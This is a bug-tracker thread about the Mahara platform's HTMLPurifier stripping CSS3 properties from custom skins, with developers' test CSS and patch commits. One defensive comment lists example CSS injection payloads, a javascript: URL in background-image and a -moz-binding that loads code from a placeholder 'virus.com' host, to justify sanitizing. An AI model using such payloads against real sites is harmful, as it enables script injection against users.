Whitelist more CSS3 options in skins

[Melissa Newman]

I tried to create a new skin with custom CSS code added to the "Advanced" tab.

collection-nav ul {
  columns: 2;
  -webkit-columns: 2;
  -moz-columns: 2;
}

When I save it, and then try to edit the skin, everything is deleted except:

ul {
}

[Kristina Hoeppner (kris-hoeppner)]

It seems that some of the code is stripped out due to purifying the CSS.

[Son Nguyen (ngson2000)]

The css property 'columns' is not allowed by HTMLPurifier.
I think we need to discuss more about what css styles and properties should be allowed in Mahara.

[Melissa Newman (melissa-l)]

The discussion is simple ... everything that is a valid css property should be allowed. CSS does not cause malicious code, so there is absolutely no reason why it needs to be filtered. And if somebody does something that causes an affect the user does not want (white text on a white background), simply include a button that either allows the page to be be temporarily set to default settings or revert to the last saved settings.

Mahara's main problem is that Mahara tries to hold the hand of the user too much. There is a point in trying to help the user by making things easier, but when the help frustrates the user, the help is of no help.

[Son Nguyen (ngson2000)]

Some css properties and their values need to be sanitized to prevent injections or phishing
For example,

background-image: url(javascript:alert('Injected'));
-moz-binding: url('http://virus.com/htmlBindings.xml');
position: absolute;

See more at https://code.google.com/p/browsersec/wiki/Part1#Cascading_stylesheets

[Son Nguyen (ngson2000)]

https://reviews.mahara.org/2872 add some popular CSS3 properties

See http://www.quackit.com/css/css3/properties for more info

[Aaron Wells (u-aaronw)]

Hi Son,

Would it make sense to upstream some of those allowed properties back to HTMLPurifier? I notice in their 4.5.0 release ( http://repo.or.cz/w/htmlpurifier.git/blob/20eff0a3a07b2bbb6d42e4867293b119508b2f08:/NEWS ) they added some additional CSS3 properties, so they seem to be interested in expanding the list.

Cheers,
Aaron

[Robert Lyon (robertl-9)]

I did some testing with this chunk of css, which according to w3schools.com are valid css rules.

/* tests for column styles */
.test1 {
 column-width: 10px;
 column-rule-width: 5px;
 column-rule-style: double;
 column-rule-color: #deface;
 column-count: 3;
 column-fill: balance;
 column-gap: 10px;
 column-span: 1;
}
.test2 {
 column-width: auto;
 column-rule-width: medium;
 column-rule-style: none;
 column-rule-color: black;
 column-count: auto;
 column-fill: auto;
 column-gap: normal;
 column-span: all;
}
.test3 {
 columns: 10px 3;
 column-rule: 5px double #deface;
}
.test4 {
 columns: auto auto;
 column-rule: medium none black;
}

/* tests for border styles */
.test5 {
 border-top-left-radius: 5px;
 border-top-right-radius: 5px;
 border-bottom-left-radius: 5px 3px;
 border-bottom-right-radius: 5px;
 border-image-source: url(cats.jpg);
 border-image-slice: fill;
 border-image-width: auto;
 border-image-outset: 30 30;
 border-image-repeat: round;
}
.test6 {
 border-top-left-radius: 0;
 border-top-right-radius: 0;
 border-bottom-left-radius: 0;
 border-bottom-right-radius: 0;
 border-image-source: none;
 border-image-slice: 100%;
 border-image-width: 1;
 border-image-outset: 0;
 border-image-repeat: stretch;
}
.test7 {
 border-radius: 5px 3px;
 border-image: url(cats.jpg) fill auto 30 30 round;
}
.test8 {
 border-radius: 0 0;
 border-image: none 100% 1 0 stretch;
}

/* tests for transition styles */
.test9 {
 transition-property: width;
 transition-duration: 5s;
 transition-timing-function: cubic-bezier(0.2,0.3,0.4,0.5);
 transition-delay: 2s;
}
.test10 {
 transition-property: all;
 transition-duration: 0;
 transition-timing-function: ease;
 transition-delay: 0;
}
.test11 {
 transition: width 5s cubic-bezier(0.2,0.3,0.4,0.5) 2s;
}
.test12 {
 transition: all 0 ease 0;
}
/* tests for transform properties */
.test13 {
 transform: rotate(-12deg);
 transform-style: preserve-3d;
 transform-origin: left bottom 5px;
}
.test14 {
 transform: none;
 transform-style: flat;
 transform-origin: 50% 50% 0;
}

[Aaron Wells (u-aaronw)]

Robert, what was the result of your test?

[Robert Lyon (robertl-9)]

Ah the results of the test are on the patch 2872

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/3679

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/3682

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/3681

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/3683

[Aaron Wells (u-aaronw)]

The rgba concern from bug 1243004 is handled by patch 3679.

[Robert Lyon (robertl-9)]

CSS comments get stripped out and this is a pain if you are trying to comment your css to remember what the styles are doing.

See: https://mahara.org/interaction/forum/topic.php?id=6443&offset=0&limit=10

[Aaron Wells (aaronwells)]

A Mahara community member posted a separate bug about the CSS comments: https://bugs.launchpad.net/mahara/+bug/1369830

[Mahara Bot (dev-mahara)]

Reviewed: https://reviews.mahara.org/3679
Committed: http://gitorious.org/mahara/mahara/commit/9694c3a2965a8d9cc5789879cd4a6f0960423544
Submitter: Robert Lyon (<email address hidden>)
Branch: master

commit 9694c3a2965a8d9cc5789879cd4a6f0960423544
Author: Son Nguyen <email address hidden>
Date: Tue Sep 2 09:04:57 2014 +1200

Add more legal color formats (Bug 1264098)

- rgba()
- hsl()
- hsla()

Change-Id: I0aedf72eac821e9a8f126ac91c098f4ad091c046
Signed-off-by: Son Nguyen <email address hidden>

[Robert Lyon (robertl-9)]

I was testing which html tags are allowed to have css rules.
If I try to add display: none to all the html tags (see www.w3schools.com/tags/ for list of valid tags and what they do).

a,
abbr,
acronym,
address,
applet,
area,
article,
aside,
audio,
b,
base,
basefont,
bdi,
bdo,
big,
blockquote,
body,
br,
button,
canvas,
caption,
center,
cite,
code,
col,
colgroup,
datalist,
dd,
del,
details,
dfn,
dialog,
dir,
div,
dl,
dt,
em,
embed,
fieldset,
figcaption,
figure,
font,
footer,
form,
frame,
frameset,
head,
header,
hgroup,
h1,
h2,
h3,
h4,
h5,
h6,
hr,
html,
i,
iframe,
img,
input,
ins,
kbd,
keygen,
label,
legend,
li,
link,
main,
map,
mark,
menu,
menuitem,
meta,
meter,
nav,
noframes,
noscript,
object,
ol,
optgroup,
option,
output,
p,
param,
pre,
progress,
q,
rp,
rt,
ruby,
s,
samp,
script,
section,
select,
small,
source,
span,
strike,
strong,
style,
sub,
summary,
sup,
table,
tbody,
td,
textarea,
tfoot,
th,
thead,
time,
title,
tr,
track,
tt,
u,
ul,
var,
video,
wbr {
  display: none;
}

It only leaves me with:

a, abbr, acronym, address, b, basefont, bdo, big, blockquote, br, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, img, ins, kbd, li, menu, ol, p, pre, q, s, samp, small, span, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, var {
display:none
}

Ok most of the tags it strips out are of no/very little use when it comes to css and mahara - but some that I think maybe worth keeping are:
body,
button,
form,
input,
label,
legend,
option,
select,
textarea,

The 'body' one is especially useful for setting the default font-size, font-family, color, background-colour etc.

What do others think, allow more html tags to accept css styling?

[Aaron Wells (u-aaronw)]

Hi Robert,

Be careful about using w3schools as your source of canonical HTML information. See http://www.w3fools.com/ for some links to more rigorous sites.

Before tinkering with which tags are allowed to accept direct CSS styling, I'd want to see if we can find out why the folks behind HTMLPurifier blocked them in the first place. Presumably they know more about browser security than we do.

[Jinelle Foley-Barnes (jinelleb)]

Hi Sonn,

The bot loves this, so post me some testing instructions eg (Specific area of Mahara this is effecting)

Cheers,
Jinelle

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/6853

[Mahara Bot (dev-mahara)]

Reviewed: https://reviews.mahara.org/6853
Committed: https://git.mahara.org/mahara/mahara/commit/1f6e6d022b1ff743858fa98983753f3931049a13
Submitter: Aaron Wells (<email address hidden>)
Branch: master

commit 1f6e6d022b1ff743858fa98983753f3931049a13
Author: Son Nguyen <email address hidden>
Date: Tue Sep 2 09:04:57 2014 +1200

Add more legal color formats (Bug 1264098)

- rgba()
- hsl()
- hsla()

Change-Id: I51742b629d10a8f7b0d07478d3c2c67affcea8ac

[Mahara Bot (dev-mahara)]

Patch for "master" branch: https://reviews.mahara.org/8739

[Mahara Bot (dev-mahara)]

Reviewed: https://reviews.mahara.org/8739
Committed: https://git.mahara.org/mahara/mahara/commit/ca09675611efac6b0f153871e8a7ee35ca3e6562
Submitter: Robert Lyon (<email address hidden>)
Branch: master

commit ca09675611efac6b0f153871e8a7ee35ca3e6562
Author: Cecilia Vela Gurovic <email address hidden>
Date: Wed Mar 28 11:19:01 2018 +1300

Bug 1759367: remove customization for color formats, not needed

Customization: Add more legal color formats such as rgba, hsl, and hsla
(Bug 1264098)
The library added support for the color formats in file
htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php

behatnotneeded

Change-Id: I60a59b25e54a6ad584518a1629450fdf37fbbaab

[Mahara Bot (dev-mahara)]

Patch for "18.04_STABLE" branch: https://reviews.mahara.org/8761

[Mahara Bot (dev-mahara)]

Reviewed: https://reviews.mahara.org/8761
Committed: https://git.mahara.org/mahara/mahara/commit/1094e48814f0850aa3fba3bbefa9405dc7acece2
Submitter: Robert Lyon (<email address hidden>)
Branch: 18.04_STABLE

commit 1094e48814f0850aa3fba3bbefa9405dc7acece2
Author: Cecilia Vela Gurovic <email address hidden>
Date: Wed Mar 28 11:19:01 2018 +1300

Bug 1759367: remove customization for color formats, not needed

Customization: Add more legal color formats such as rgba, hsl, and hsla
(Bug 1264098)
The library added support for the color formats in file
htmlpurifier/HTMLPurifier/AttrDef/CSS/Color.php

behatnotneeded

Change-Id: I60a59b25e54a6ad584518a1629450fdf37fbbaab

[Lena Stackhouse (lenastackhouse)]

HTML purifier is stripping out border styles, could this be added as an exception in the future?
To make images appear in a circle crop <img style="border-radius:50%;">

[Liam Lynch (284533k)]

Great to see from July 2019 to the next patch (10/21) that the border radius will be resolved.

Would love to be able to play with the rest of the css3 features so we can customise/create more within the platform. Grids, flex etc.

Unfortunately HTMLPurifier, as good as it was in it's time, is ancient, neglected and only kept alive by yearly contributions from the wider community, not the creator himself. Would be nice to be able to use similar CSS layout styles we are using elsewhere/ on other platforms.